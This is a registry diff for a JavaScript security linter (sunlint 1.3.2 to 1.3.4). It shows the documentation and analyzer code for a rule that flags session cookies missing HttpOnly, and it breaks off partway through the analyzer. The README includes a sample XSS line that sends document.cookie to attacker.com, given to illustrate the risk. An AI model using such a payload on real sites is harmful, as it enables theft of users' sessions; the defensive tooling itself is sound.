@sun-asterisk/sunlint 1.3.2 → 1.3.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +73 -0
- package/README.md +5 -3
- package/config/rules/enhanced-rules-registry.json +144 -33
- package/core/analysis-orchestrator.js +173 -42
- package/core/auto-performance-manager.js +243 -0
- package/core/cli-action-handler.js +24 -2
- package/core/cli-program.js +19 -5
- package/core/constants/defaults.js +56 -0
- package/core/performance-optimizer.js +271 -0
- package/docs/FILE_LIMITS_COMPLETION_REPORT.md +151 -0
- package/docs/FILE_LIMITS_EXPLANATION.md +190 -0
- package/docs/PERFORMANCE.md +311 -0
- package/docs/PERFORMANCE_MIGRATION_GUIDE.md +368 -0
- package/docs/PERFORMANCE_OPTIMIZATION_PLAN.md +255 -0
- package/docs/QUICK_FILE_LIMITS.md +64 -0
- package/docs/SIMPLIFIED_USAGE_GUIDE.md +208 -0
- package/engines/engine-factory.js +7 -0
- package/engines/heuristic-engine.js +182 -5
- package/package.json +2 -1
- package/rules/common/C048_no_bypass_architectural_layers/analyzer.js +180 -0
- package/rules/common/C048_no_bypass_architectural_layers/config.json +50 -0
- package/rules/common/C048_no_bypass_architectural_layers/symbol-based-analyzer.js +235 -0
- package/rules/common/C052_parsing_or_data_transformation/analyzer.js +180 -0
- package/rules/common/C052_parsing_or_data_transformation/config.json +50 -0
- package/rules/common/C052_parsing_or_data_transformation/symbol-based-analyzer.js +132 -0
- package/rules/index.js +2 -0
- package/rules/security/S017_use_parameterized_queries/README.md +128 -0
- package/rules/security/S017_use_parameterized_queries/analyzer.js +286 -0
- package/rules/security/S017_use_parameterized_queries/config.json +109 -0
- package/rules/security/S017_use_parameterized_queries/regex-based-analyzer.js +541 -0
- package/rules/security/S017_use_parameterized_queries/symbol-based-analyzer.js +777 -0
- package/rules/security/S031_secure_session_cookies/README.md +127 -0
- package/rules/security/S031_secure_session_cookies/analyzer.js +245 -0
- package/rules/security/S031_secure_session_cookies/config.json +86 -0
- package/rules/security/S031_secure_session_cookies/regex-based-analyzer.js +196 -0
- package/rules/security/S031_secure_session_cookies/symbol-based-analyzer.js +1084 -0
- package/rules/security/S032_httponly_session_cookies/FRAMEWORK_SUPPORT.md +209 -0
- package/rules/security/S032_httponly_session_cookies/README.md +184 -0
- package/rules/security/S032_httponly_session_cookies/analyzer.js +282 -0
- package/rules/security/S032_httponly_session_cookies/config.json +96 -0
- package/rules/security/S032_httponly_session_cookies/regex-based-analyzer.js +715 -0
- package/rules/security/S032_httponly_session_cookies/symbol-based-analyzer.js +1348 -0
- package/rules/security/S033_samesite_session_cookies/README.md +227 -0
- package/rules/security/S033_samesite_session_cookies/analyzer.js +242 -0
- package/rules/security/S033_samesite_session_cookies/config.json +87 -0
- package/rules/security/S033_samesite_session_cookies/regex-based-analyzer.js +703 -0
- package/rules/security/S033_samesite_session_cookies/symbol-based-analyzer.js +732 -0
- package/rules/security/S034_host_prefix_session_cookies/README.md +204 -0
- package/rules/security/S034_host_prefix_session_cookies/analyzer.js +290 -0
- package/rules/security/S034_host_prefix_session_cookies/config.json +62 -0
- package/rules/security/S034_host_prefix_session_cookies/regex-based-analyzer.js +478 -0
- package/rules/security/S034_host_prefix_session_cookies/symbol-based-analyzer.js +277 -0
- package/rules/security/S035_path_session_cookies/README.md +257 -0
- package/rules/security/S035_path_session_cookies/analyzer.js +316 -0
- package/rules/security/S035_path_session_cookies/config.json +99 -0
- package/rules/security/S035_path_session_cookies/regex-based-analyzer.js +724 -0
- package/rules/security/S035_path_session_cookies/symbol-based-analyzer.js +373 -0
- package/scripts/batch-processing-demo.js +334 -0
- package/scripts/performance-test.js +541 -0
- package/scripts/quick-performance-test.js +108 -0
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
# S032 Framework Support Enhancement
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
S032 rule "Set HttpOnly attribute for Session Cookies" has been enhanced to support multiple JavaScript/TypeScript frameworks including **NestJS**, **Next.js**, and **Nuxt.js**.
|
|
6
|
+
|
|
7
|
+
## Supported Frameworks
|
|
8
|
+
|
|
9
|
+
### 🔹 **NestJS**
|
|
10
|
+
|
|
11
|
+
- **Patterns Detected:**
|
|
12
|
+
|
|
13
|
+
- `@Res() response: Response` decorator usage
|
|
14
|
+
- `response.cookie()` method calls
|
|
15
|
+
- NestJS controller method patterns
|
|
16
|
+
|
|
17
|
+
- **Session Cookies Identified:**
|
|
18
|
+
|
|
19
|
+
- `nest-session`, `nest-auth`
|
|
20
|
+
- Standard session cookies in NestJS context
|
|
21
|
+
|
|
22
|
+
- **Example Violations:**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
@Post('login')
|
|
26
|
+
async login(@Res() response: Response) {
|
|
27
|
+
response.cookie('sessionid', 'value', {
|
|
28
|
+
secure: true,
|
|
29
|
+
sameSite: 'strict',
|
|
30
|
+
// Missing: httpOnly: true ❌
|
|
31
|
+
});
|
|
32
|
+
}
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
### 🔹 **Next.js**
|
|
36
|
+
|
|
37
|
+
- **Patterns Detected:**
|
|
38
|
+
|
|
39
|
+
- `NextResponse.cookies.set()` calls
|
|
40
|
+
- `cookies().set()` from next/headers
|
|
41
|
+
- Traditional `res.cookie()` in API routes
|
|
42
|
+
- NextAuth configuration
|
|
43
|
+
|
|
44
|
+
- **Session Cookies Identified:**
|
|
45
|
+
|
|
46
|
+
- `next-auth.session-token`, `next-auth.csrf-token`
|
|
47
|
+
- `__Host-next-auth.*`, `__Secure-next-auth.*`
|
|
48
|
+
- Standard session cookies in Next.js context
|
|
49
|
+
|
|
50
|
+
- **Example Violations:**
|
|
51
|
+
|
|
52
|
+
```typescript
|
|
53
|
+
export async function POST(request: NextRequest) {
|
|
54
|
+
const response = NextResponse.next();
|
|
55
|
+
|
|
56
|
+
response.cookies.set("sessionid", "value", {
|
|
57
|
+
secure: true,
|
|
58
|
+
sameSite: "strict",
|
|
59
|
+
// Missing: httpOnly: true ❌
|
|
60
|
+
});
|
|
61
|
+
}
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### 🔹 **Nuxt.js**
|
|
65
|
+
|
|
66
|
+
- **Patterns Detected:**
|
|
67
|
+
|
|
68
|
+
- `useCookie()` composable calls
|
|
69
|
+
- `setCookie()` server-side functions
|
|
70
|
+
- `$cookies.set()` patterns
|
|
71
|
+
- H3 cookie handling
|
|
72
|
+
|
|
73
|
+
- **Session Cookies Identified:**
|
|
74
|
+
|
|
75
|
+
- `nuxt-session`, `nuxt-auth`
|
|
76
|
+
- `auth._token`, `auth._refresh_token`
|
|
77
|
+
- Standard session cookies in Nuxt.js context
|
|
78
|
+
|
|
79
|
+
- **Example Violations:**
|
|
80
|
+
|
|
81
|
+
```typescript
|
|
82
|
+
export function useSessionCookie() {
|
|
83
|
+
const sessionId = useCookie("sessionid", {
|
|
84
|
+
secure: true,
|
|
85
|
+
sameSite: "strict",
|
|
86
|
+
// Missing: httpOnly: true ❌
|
|
87
|
+
});
|
|
88
|
+
}
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
## Enhanced Detection Capabilities
|
|
92
|
+
|
|
93
|
+
### 📊 **Regex Patterns Added:**
|
|
94
|
+
|
|
95
|
+
```javascript
|
|
96
|
+
// NestJS patterns
|
|
97
|
+
/@Res\(\)\s*\.cookie\s*\(/gi
|
|
98
|
+
/response\s*:\s*Response\)\s*{\s*[^}]*response\.cookie\s*\(/gi
|
|
99
|
+
|
|
100
|
+
// Next.js patterns
|
|
101
|
+
/NextResponse\.next\(\)\.cookies\.set\s*\(/gi
|
|
102
|
+
/cookies\(\)\.set\s*\(/gi
|
|
103
|
+
/\.cookies\.set\s*\(/gi
|
|
104
|
+
|
|
105
|
+
// Nuxt.js patterns
|
|
106
|
+
/useCookie\s*\(/gi
|
|
107
|
+
/\$cookies\.set\s*\(/gi
|
|
108
|
+
/setCookie\s*\(/gi
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### 🎯 **Session Cookie Indicators Expanded:**
|
|
112
|
+
|
|
113
|
+
```javascript
|
|
114
|
+
// Framework-specific session cookies
|
|
115
|
+
"nest-session",
|
|
116
|
+
"nest-auth", // NestJS
|
|
117
|
+
"next-auth.session-token",
|
|
118
|
+
"next-auth.csrf-token", // Next.js
|
|
119
|
+
"nuxt-session",
|
|
120
|
+
"nuxt-auth",
|
|
121
|
+
"auth._token", // Nuxt.js
|
|
122
|
+
"access_token",
|
|
123
|
+
"refresh_token",
|
|
124
|
+
"id_token"; // General
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### 🔍 **Smart Framework Detection:**
|
|
128
|
+
|
|
129
|
+
- **Import Analysis:** Detects framework from import statements
|
|
130
|
+
- **Decorator Recognition:** Identifies NestJS decorators like `@Res()`
|
|
131
|
+
- **Method Context:** Recognizes framework-specific method patterns
|
|
132
|
+
- **File Patterns:** Analyzes file structure for framework hints
|
|
133
|
+
|
|
134
|
+
## Test Coverage
|
|
135
|
+
|
|
136
|
+
### ✅ **Violation Detection:**
|
|
137
|
+
|
|
138
|
+
- **NestJS:** 17 violations detected in test file
|
|
139
|
+
- **Next.js:** 9 violations detected in test file
|
|
140
|
+
- **Nuxt.js:** 8 violations detected in test file
|
|
141
|
+
|
|
142
|
+
### ✅ **Secure Examples:**
|
|
143
|
+
|
|
144
|
+
- All framework clean examples pass with 0 violations
|
|
145
|
+
- Proper `httpOnly: true` configuration recognized
|
|
146
|
+
|
|
147
|
+
## Implementation Details
|
|
148
|
+
|
|
149
|
+
### 🔧 **Enhanced Analyzers:**
|
|
150
|
+
|
|
151
|
+
1. **Regex-Based Analyzer:**
|
|
152
|
+
|
|
153
|
+
- Added framework-specific patterns
|
|
154
|
+
- Enhanced session cookie detection
|
|
155
|
+
- Framework-aware violation messages
|
|
156
|
+
|
|
157
|
+
2. **Symbol-Based Analyzer:**
|
|
158
|
+
- Extended method name detection
|
|
159
|
+
- Framework context recognition
|
|
160
|
+
- AST-based analysis for complex patterns
|
|
161
|
+
|
|
162
|
+
### 📝 **Configuration Updates:**
|
|
163
|
+
|
|
164
|
+
```json
|
|
165
|
+
{
|
|
166
|
+
"cookieLibraries": [
|
|
167
|
+
"nestjs",
|
|
168
|
+
"@nestjs/common",
|
|
169
|
+
"@nestjs/core",
|
|
170
|
+
"next-auth",
|
|
171
|
+
"nuxt-auth",
|
|
172
|
+
"@nuxt/auth",
|
|
173
|
+
"@nuxtjs/auth"
|
|
174
|
+
],
|
|
175
|
+
"insecurePatterns": [
|
|
176
|
+
"@Res\\(\\).cookie\\([^)]*\\)(?![^{]*httpOnly)",
|
|
177
|
+
"NextResponse\\.next\\(\\)(?![^{]*httpOnly)",
|
|
178
|
+
"useCookie\\([^)]*\\)(?![^{]*httpOnly)"
|
|
179
|
+
]
|
|
180
|
+
}
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
## Benefits
|
|
184
|
+
|
|
185
|
+
1. **Comprehensive Coverage:** Supports major modern web frameworks
|
|
186
|
+
2. **Smart Detection:** Recognizes framework-specific patterns and conventions
|
|
187
|
+
3. **Accurate Analysis:** Reduces false positives through context awareness
|
|
188
|
+
4. **Developer Friendly:** Provides framework-specific violation messages
|
|
189
|
+
5. **Future Ready:** Extensible architecture for additional frameworks
|
|
190
|
+
|
|
191
|
+
## Usage Examples
|
|
192
|
+
|
|
193
|
+
### Run S032 on framework-specific files:
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
# Test NestJS violations
|
|
197
|
+
sunlint --rule=S032 --input=nestjs_violations.ts
|
|
198
|
+
|
|
199
|
+
# Test Next.js violations
|
|
200
|
+
sunlint --rule=S032 --input=nextjs_violations.ts
|
|
201
|
+
|
|
202
|
+
# Test Nuxt.js violations
|
|
203
|
+
sunlint --rule=S032 --input=nuxtjs_violations.ts
|
|
204
|
+
|
|
205
|
+
# Test all frameworks
|
|
206
|
+
sunlint --rule=S032 --input=framework_projects/
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
This enhancement ensures S032 provides robust session cookie security validation across the modern JavaScript/TypeScript ecosystem! 🚀
|
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
# S032 - Set HttpOnly attribute for Session Cookies
|
|
2
|
+
|
|
3
|
+
## Rule Description
|
|
4
|
+
|
|
5
|
+
**S032** ensures that session cookies have the `HttpOnly` attribute set to prevent JavaScript access. This protects against XSS attacks by preventing client-side script access to sensitive cookies, reducing the risk of cookie theft.
|
|
6
|
+
|
|
7
|
+
## Security Impact
|
|
8
|
+
|
|
9
|
+
- **High**: Session cookies without HttpOnly can be accessed via JavaScript in XSS attacks
|
|
10
|
+
- **Attack Vector**: Cross-Site Scripting (XSS), malicious scripts
|
|
11
|
+
- **Compliance**: OWASP Top 10, security best practices
|
|
12
|
+
|
|
13
|
+
## Detection Patterns
|
|
14
|
+
|
|
15
|
+
### Vulnerable Code Examples
|
|
16
|
+
|
|
17
|
+
```javascript
|
|
18
|
+
// ❌ Express.js - Missing HttpOnly attribute
|
|
19
|
+
res.cookie("sessionid", sessionValue, {
|
|
20
|
+
secure: true,
|
|
21
|
+
// Missing: httpOnly: true
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
// ❌ Set-Cookie header - No HttpOnly attribute
|
|
25
|
+
res.setHeader("Set-Cookie", "sessionid=abc123; Secure");
|
|
26
|
+
|
|
27
|
+
// ❌ Document.cookie - Accessible by JavaScript
|
|
28
|
+
document.cookie = "auth=token123; path=/; Secure";
|
|
29
|
+
|
|
30
|
+
// ❌ Session middleware - Missing HttpOnly
|
|
31
|
+
app.use(
|
|
32
|
+
session({
|
|
33
|
+
secret: "secret-key",
|
|
34
|
+
name: "sessionid",
|
|
35
|
+
cookie: {
|
|
36
|
+
secure: true,
|
|
37
|
+
// Missing: httpOnly: true
|
|
38
|
+
},
|
|
39
|
+
})
|
|
40
|
+
);
|
|
41
|
+
|
|
42
|
+
// ❌ Explicitly disabled HttpOnly
|
|
43
|
+
res.cookie("jwt", tokenValue, {
|
|
44
|
+
secure: true,
|
|
45
|
+
httpOnly: false, // Explicitly vulnerable
|
|
46
|
+
});
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Secure Code Examples
|
|
50
|
+
|
|
51
|
+
```javascript
|
|
52
|
+
// ✅ Express.js - With HttpOnly attribute
|
|
53
|
+
res.cookie("sessionid", sessionValue, {
|
|
54
|
+
httpOnly: true,
|
|
55
|
+
secure: true,
|
|
56
|
+
sameSite: "strict",
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
// ✅ Set-Cookie header - With HttpOnly attribute
|
|
60
|
+
res.setHeader("Set-Cookie", "sessionid=abc123; HttpOnly; Secure");
|
|
61
|
+
|
|
62
|
+
// ✅ Session middleware - Secure configuration
|
|
63
|
+
app.use(
|
|
64
|
+
session({
|
|
65
|
+
secret: "secret-key",
|
|
66
|
+
name: "sessionid",
|
|
67
|
+
cookie: {
|
|
68
|
+
httpOnly: true,
|
|
69
|
+
secure: true,
|
|
70
|
+
sameSite: "strict",
|
|
71
|
+
},
|
|
72
|
+
})
|
|
73
|
+
);
|
|
74
|
+
|
|
75
|
+
// ✅ Complete security configuration
|
|
76
|
+
res.cookie("auth", authToken, {
|
|
77
|
+
httpOnly: true,
|
|
78
|
+
secure: process.env.NODE_ENV === "production",
|
|
79
|
+
sameSite: "strict",
|
|
80
|
+
maxAge: 3600000, // 1 hour
|
|
81
|
+
});
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
## Session Cookie Indicators
|
|
85
|
+
|
|
86
|
+
The rule detects cookies that are likely session-related based on:
|
|
87
|
+
|
|
88
|
+
- **Cookie Names**: `session`, `sessionid`, `sessid`, `jsessionid`, `phpsessid`
|
|
89
|
+
- **Framework Patterns**: `connect.sid`, `asp.net_sessionid`
|
|
90
|
+
- **Authentication**: `auth`, `token`, `jwt`, `csrf`, `refresh`
|
|
91
|
+
|
|
92
|
+
## Supported Frameworks
|
|
93
|
+
|
|
94
|
+
- **Express.js**: `res.cookie()`, `res.setHeader()`
|
|
95
|
+
- **Koa**: Cookie setting methods
|
|
96
|
+
- **Fastify**: Cookie plugins
|
|
97
|
+
- **Next.js**: API routes cookie handling
|
|
98
|
+
- **Native**: `document.cookie`, Set-Cookie headers
|
|
99
|
+
|
|
100
|
+
## Configuration
|
|
101
|
+
|
|
102
|
+
The rule can be configured in `config.json`:
|
|
103
|
+
|
|
104
|
+
```json
|
|
105
|
+
{
|
|
106
|
+
"validation": {
|
|
107
|
+
"sessionIndicators": ["session", "sessionid", "auth", "token", "refresh"],
|
|
108
|
+
"cookieMethods": ["setCookie", "cookie", "setHeader"],
|
|
109
|
+
"httpOnlyPatterns": ["httpOnly:\\s*true", "HttpOnly"]
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
## HttpOnly vs XSS Protection
|
|
115
|
+
|
|
116
|
+
### Without HttpOnly (Vulnerable)
|
|
117
|
+
|
|
118
|
+
```javascript
|
|
119
|
+
// JavaScript can access this cookie
|
|
120
|
+
document.cookie; // "sessionid=abc123; auth=token456"
|
|
121
|
+
|
|
122
|
+
// XSS payload can steal cookies
|
|
123
|
+
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>;
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
### With HttpOnly (Protected)
|
|
127
|
+
|
|
128
|
+
```javascript
|
|
129
|
+
// JavaScript cannot access HttpOnly cookies
|
|
130
|
+
document.cookie; // Only shows non-HttpOnly cookies
|
|
131
|
+
|
|
132
|
+
// XSS attacks cannot steal session cookies
|
|
133
|
+
<script>
|
|
134
|
+
// This will not include HttpOnly cookies
|
|
135
|
+
fetch('https://attacker.com/steal?cookie=' + document.cookie);
|
|
136
|
+
</script>;
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
## Best Practices
|
|
140
|
+
|
|
141
|
+
1. **Always use HttpOnly for session cookies**
|
|
142
|
+
2. **Combine with Secure flag** for HTTPS-only transmission
|
|
143
|
+
3. **Use SameSite attribute** for CSRF protection
|
|
144
|
+
4. **Complete security configuration**:
|
|
145
|
+
```javascript
|
|
146
|
+
res.cookie("session", value, {
|
|
147
|
+
httpOnly: true, // Prevent JavaScript access
|
|
148
|
+
secure: true, // HTTPS only
|
|
149
|
+
sameSite: "strict", // CSRF protection
|
|
150
|
+
maxAge: 3600000, // Expiration
|
|
151
|
+
});
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
## Exception Cases
|
|
155
|
+
|
|
156
|
+
Some legitimate use cases may require JavaScript access:
|
|
157
|
+
|
|
158
|
+
```javascript
|
|
159
|
+
// ✅ Non-session cookies for UI preferences
|
|
160
|
+
res.cookie("theme", "dark", {
|
|
161
|
+
// httpOnly: false is acceptable here
|
|
162
|
+
secure: true,
|
|
163
|
+
sameSite: "lax",
|
|
164
|
+
});
|
|
165
|
+
|
|
166
|
+
// ✅ CSRF tokens that need JavaScript access
|
|
167
|
+
res.cookie("csrf-token", csrfToken, {
|
|
168
|
+
// httpOnly: false for AJAX requests
|
|
169
|
+
secure: true,
|
|
170
|
+
sameSite: "strict",
|
|
171
|
+
});
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
## Related Rules
|
|
175
|
+
|
|
176
|
+
- **S031**: Secure flag for cookies
|
|
177
|
+
- **S033**: SameSite attribute for CSRF protection
|
|
178
|
+
- **S034**: Cookie expiration and domain settings
|
|
179
|
+
|
|
180
|
+
## References
|
|
181
|
+
|
|
182
|
+
- [OWASP Session Management](https://owasp.org/www-project-cheat-sheets/cheatsheets/Session_Management_Cheat_Sheet.html)
|
|
183
|
+
- [MDN HttpOnly Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies)
|
|
184
|
+
- [OWASP XSS Prevention](https://owasp.org/www-project-cheat-sheets/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
|
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* S032 Main Analyzer - Set HttpOnly attribute for Session Cookies
|
|
3
|
+
* Primary: Symbol-based analysis (when available)
|
|
4
|
+
* Fallback: Regex-based for all other cases
|
|
5
|
+
* Command: node cli.js --rule=S032 --input=examples/rule-test-fixtures/rules/S032_httponly_session_cookies --engine=heuristic
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const S032SymbolBasedAnalyzer = require("./symbol-based-analyzer.js");
|
|
9
|
+
const S032RegexBasedAnalyzer = require("./regex-based-analyzer.js");
|
|
10
|
+
|
|
11
|
+
class S032Analyzer {
|
|
12
|
+
constructor(options = {}) {
|
|
13
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
14
|
+
console.log(`🔧 [S032] Constructor called with options:`, !!options);
|
|
15
|
+
console.log(
|
|
16
|
+
`🔧 [S032] Options type:`,
|
|
17
|
+
typeof options,
|
|
18
|
+
Object.keys(options || {})
|
|
19
|
+
);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
this.ruleId = "S032";
|
|
23
|
+
this.ruleName = "Set HttpOnly attribute for Session Cookies";
|
|
24
|
+
this.description =
|
|
25
|
+
"Set HttpOnly attribute for Session Cookies to prevent JavaScript access. This protects against XSS attacks by preventing client-side script access to sensitive cookies.";
|
|
26
|
+
this.semanticEngine = options.semanticEngine || null;
|
|
27
|
+
this.verbose = options.verbose || false;
|
|
28
|
+
|
|
29
|
+
// Configuration
|
|
30
|
+
this.config = {
|
|
31
|
+
useSymbolBased: true, // Primary approach
|
|
32
|
+
fallbackToRegex: true, // Secondary approach
|
|
33
|
+
regexBasedOnly: false, // Can be set to true for pure mode
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
// Initialize analyzers
|
|
37
|
+
try {
|
|
38
|
+
this.symbolAnalyzer = new S032SymbolBasedAnalyzer(this.semanticEngine);
|
|
39
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
40
|
+
console.log(`🔧 [S032] Symbol analyzer created successfully`);
|
|
41
|
+
}
|
|
42
|
+
} catch (error) {
|
|
43
|
+
console.error(`🔧 [S032] Error creating symbol analyzer:`, error);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
this.regexAnalyzer = new S032RegexBasedAnalyzer(this.semanticEngine);
|
|
48
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
49
|
+
console.log(`🔧 [S032] Regex analyzer created successfully`);
|
|
50
|
+
}
|
|
51
|
+
} catch (error) {
|
|
52
|
+
console.error(`🔧 [S032] Error creating regex analyzer:`, error);
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Initialize analyzer with semantic engine
|
|
58
|
+
*/
|
|
59
|
+
async initialize(semanticEngine) {
|
|
60
|
+
this.semanticEngine = semanticEngine;
|
|
61
|
+
|
|
62
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
63
|
+
console.log(`🔧 [S032] Main analyzer initializing...`);
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// Initialize both analyzers
|
|
67
|
+
if (this.symbolAnalyzer) {
|
|
68
|
+
await this.symbolAnalyzer.initialize?.(semanticEngine);
|
|
69
|
+
}
|
|
70
|
+
if (this.regexAnalyzer) {
|
|
71
|
+
await this.regexAnalyzer.initialize?.(semanticEngine);
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Clean up if needed
|
|
75
|
+
if (this.regexAnalyzer) {
|
|
76
|
+
this.regexAnalyzer.cleanup?.();
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
80
|
+
console.log(`🔧 [S032] Main analyzer initialized successfully`);
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Single file analysis method for testing
|
|
86
|
+
*/
|
|
87
|
+
analyzeSingle(filePath, options = {}) {
|
|
88
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
89
|
+
console.log(`🔍 [S032] analyzeSingle() called for: ${filePath}`);
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Return result using same format as analyze method
|
|
93
|
+
return this.analyze([filePath], "typescript", options);
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
async analyze(files, language, options = {}) {
|
|
97
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
98
|
+
console.log(
|
|
99
|
+
`🔧 [S032] analyze() method called with ${files.length} files, language: ${language}`
|
|
100
|
+
);
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
const violations = [];
|
|
104
|
+
|
|
105
|
+
for (const filePath of files) {
|
|
106
|
+
try {
|
|
107
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
108
|
+
console.log(`🔧 [S032] Processing file: ${filePath}`);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
const fileViolations = await this.analyzeFile(filePath, options);
|
|
112
|
+
violations.push(...fileViolations);
|
|
113
|
+
|
|
114
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
115
|
+
console.log(
|
|
116
|
+
`🔧 [S032] File ${filePath}: Found ${fileViolations.length} violations`
|
|
117
|
+
);
|
|
118
|
+
}
|
|
119
|
+
} catch (error) {
|
|
120
|
+
console.warn(
|
|
121
|
+
`⚠ [S032] Analysis failed for ${filePath}:`,
|
|
122
|
+
error.message
|
|
123
|
+
);
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
128
|
+
console.log(`🔧 [S032] Total violations found: ${violations.length}`);
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
return violations;
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
async analyzeFile(filePath, options = {}) {
|
|
135
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
136
|
+
console.log(`🔍 [S032] analyzeFile() called for: ${filePath}`);
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
// Create a Map to track unique violations and prevent duplicates
|
|
140
|
+
const violationMap = new Map();
|
|
141
|
+
|
|
142
|
+
// 1. Try Symbol-based analysis first (primary)
|
|
143
|
+
if (
|
|
144
|
+
this.config.useSymbolBased &&
|
|
145
|
+
this.semanticEngine?.project &&
|
|
146
|
+
this.semanticEngine?.initialized
|
|
147
|
+
) {
|
|
148
|
+
try {
|
|
149
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
150
|
+
console.log(`🔧 [S032] Trying symbol-based analysis...`);
|
|
151
|
+
}
|
|
152
|
+
const sourceFile = this.semanticEngine.project.getSourceFile(filePath);
|
|
153
|
+
if (sourceFile) {
|
|
154
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
155
|
+
console.log(`🔧 [S032] Source file found, analyzing...`);
|
|
156
|
+
}
|
|
157
|
+
const symbolViolations = await this.symbolAnalyzer.analyze(
|
|
158
|
+
sourceFile,
|
|
159
|
+
filePath
|
|
160
|
+
);
|
|
161
|
+
|
|
162
|
+
// Add to violation map with deduplication
|
|
163
|
+
symbolViolations.forEach((violation) => {
|
|
164
|
+
// Create a location-specific key to allow multiple violations for same cookie at different locations
|
|
165
|
+
const cookieName = this.extractCookieName(violation.message) || "";
|
|
166
|
+
const key = `cookie:${cookieName}:line:${violation.line}:httponly`;
|
|
167
|
+
if (!violationMap.has(key)) {
|
|
168
|
+
violationMap.set(key, violation);
|
|
169
|
+
}
|
|
170
|
+
});
|
|
171
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
172
|
+
console.log(
|
|
173
|
+
`🔧 [S032] Symbol analysis completed: ${symbolViolations.length} violations`
|
|
174
|
+
);
|
|
175
|
+
}
|
|
176
|
+
} else {
|
|
177
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
178
|
+
console.log(`🔧 [S032] Source file not found, falling back...`);
|
|
179
|
+
}
|
|
180
|
+
}
|
|
181
|
+
} catch (error) {
|
|
182
|
+
console.warn(`⚠ [S032] Symbol analysis failed:`, error.message);
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
// 2. Try Regex-based analysis (fallback or additional)
|
|
187
|
+
if (this.config.fallbackToRegex || this.config.regexBasedOnly) {
|
|
188
|
+
try {
|
|
189
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
190
|
+
console.log(`🔧 [S032] Trying regex-based analysis...`);
|
|
191
|
+
}
|
|
192
|
+
const regexViolations = await this.regexAnalyzer.analyze(filePath);
|
|
193
|
+
|
|
194
|
+
// Add to violation map with deduplication
|
|
195
|
+
regexViolations.forEach((violation) => {
|
|
196
|
+
// Create a location-specific key to allow multiple violations for same cookie at different locations
|
|
197
|
+
const cookieName = this.extractCookieName(violation.message) || "";
|
|
198
|
+
const key = `cookie:${cookieName}:line:${violation.line}:httponly`;
|
|
199
|
+
|
|
200
|
+
// Priority: If we already have a violation for this cookie at this line, prefer symbol analyzer result
|
|
201
|
+
if (!violationMap.has(key)) {
|
|
202
|
+
violationMap.set(key, violation);
|
|
203
|
+
} else {
|
|
204
|
+
const existing = violationMap.get(key);
|
|
205
|
+
// Prefer framework-specific messages (Nuxt, NestJS, Next.js) over generic ones
|
|
206
|
+
if (
|
|
207
|
+
this.isFrameworkSpecificMessage(violation.message) &&
|
|
208
|
+
!this.isFrameworkSpecificMessage(existing.message)
|
|
209
|
+
) {
|
|
210
|
+
violationMap.set(key, violation);
|
|
211
|
+
}
|
|
212
|
+
}
|
|
213
|
+
});
|
|
214
|
+
|
|
215
|
+
